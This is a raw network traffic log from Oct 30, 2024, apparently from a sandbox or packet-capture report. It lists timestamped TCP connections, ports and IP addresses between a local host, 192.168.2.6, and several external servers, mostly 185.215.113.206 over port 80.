Oct 30, 2024 04:34:39.548090935 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.548111916 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.548129082 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.584124088 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584140062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584155083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584183931 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.584214926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584222078 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.584254026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.584256887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584273100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584287882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584299088 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.584326029 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.584757090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584786892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584805012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584820032 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.584841013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.584884882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584907055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.584928989 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.584954023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.610948086 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.611123085 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.611203909 CET	51009	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.611372948 CET	51009	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.611418962 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.611449003 CET	51009	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.611466885 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.614156008 CET	51022	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.614202023 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.614258051 CET	51022	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.614490032 CET	51022	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.614511013 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.617531061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.617543936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.617594957 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.617640972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.617736101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.617748976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.617795944 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.617818117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.617830992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.617873907 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.621216059 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.621257067 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.621296883 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.621316910 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.621340036 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.621359110 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.665313959 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.665368080 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.665396929 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.665405989 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.665436029 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.665549040 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.665594101 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.666390896 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.666399956 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.702696085 CET	443	51014	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.702910900 CET	51014	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.702933073 CET	443	51014	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.703609943 CET	443	51014	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.707184076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707241058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.707242012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707258940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707307100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.707372904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707416058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707431078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707458973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.707494974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.707727909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707741022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707784891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.707880974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707921982 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.707930088 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707947016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.707992077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.708209038 CET	443	51013	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.708273888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.708300114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.708313942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.708329916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.708329916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.708364010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.708364010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.708403111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.708591938 CET	51013	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.708606005 CET	443	51013	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.708956003 CET	443	51013	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.740839005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.740885973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.740904093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.740942001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.740972042 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.741013050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.741030931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.741046906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.741100073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.764394999 CET	51014	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.768237114 CET	51014	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.768373966 CET	443	51014	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.768517971 CET	51013	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.768620014 CET	443	51013	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.770380020 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.770422935 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.770525932 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.770874023 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.770894051 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.830415964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830439091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830483913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.830498934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830508947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.830513954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830539942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.830571890 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.830668926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830682993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830729961 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.830809116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830874920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830890894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.830935955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.830966949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.831181049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.831219912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.831234932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.831249952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.831248999 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.831294060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.831294060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.831294060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.831721067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.831747055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.831759930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.831773996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.831811905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.831811905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.863974094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.863987923 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.864039898 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.864080906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.864129066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.864131927 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.864197969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.864219904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.864222050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.864255905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.864255905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.872054100 CET	51014	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.872786045 CET	51024	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:39.872808933 CET	443	51024	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:39.872889996 CET	51024	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:39.873372078 CET	51025	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:39.873385906 CET	443	51025	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:39.873606920 CET	51025	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:39.873670101 CET	51024	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:39.873681068 CET	443	51024	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:39.873800039 CET	51025	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:39.873811007 CET	443	51025	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:39.910772085 CET	51013	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.953661919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.953686953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.953702927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.953746080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.953746080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.953860998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.953928947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.953943968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.953955889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.953999043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.953999043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954387903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954420090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954432964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954432011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954461098 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954477072 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954478979 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954492092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954520941 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954544067 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954757929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954793930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954808950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954819918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954823971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.954854965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954854965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.954876900 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.987535954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.987554073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.987571001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.987636089 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.987687111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.028125048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.028148890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.028165102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.028211117 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.028249979 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.076920986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.076961994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.076977968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077053070 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.077066898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077114105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077167034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.077285051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077299118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077425003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077474117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077488899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077503920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.077544928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.077778101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077826977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.077827930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077846050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077879906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.077883005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077899933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.077902079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.077928066 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.077956915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.081607103 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.081662893 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.081788063 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.082238913 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.082278967 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.082402945 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.082422972 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.082433939 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.082480907 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.082720995 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.082732916 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.082787991 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.083019972 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.083028078 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.083075047 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.083272934 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.083304882 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.083662987 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.083682060 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.083751917 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.083761930 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.083848000 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.083863020 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.084052086 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.084062099 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.110749006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.110778093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.110794067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.110826969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.110872030 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.151330948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.151350975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.151371956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.151417971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.151463032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.151469946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.151478052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.151525974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.152919054 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.155513048 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.155536890 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.156054020 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.156060934 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.187176943 CET	443	51017	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.187638044 CET	51017	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.187696934 CET	443	51017	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.188177109 CET	51017	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.188189030 CET	443	51017	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.200113058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200126886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200177908 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.200200081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200201988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.200215101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200258017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.200373888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200387955 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200447083 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.200525045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200562000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200573921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.200577021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200627089 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.200882912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200937986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200953960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.200968981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.201000929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.201001883 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.201412916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.201462984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.201478004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.201540947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.217755079 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.218137026 CET	51019	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.218167067 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.218800068 CET	51019	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.218811989 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.234119892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.234144926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.234159946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.234181881 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.234220028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.245358944 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.247921944 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.247948885 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.248503923 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.248508930 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.274527073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.274544001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.274558067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.274573088 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.274616003 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.274650097 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.282779932 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.283227921 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.283281088 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.283298016 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.283334017 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.283382893 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.283401012 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.283412933 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.283417940 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.286668062 CET	51032	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.286741972 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.286860943 CET	51032	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.287102938 CET	51032	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.287128925 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.322746992 CET	443	51017	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.322874069 CET	443	51017	13.107.246.45	192.168.2.6
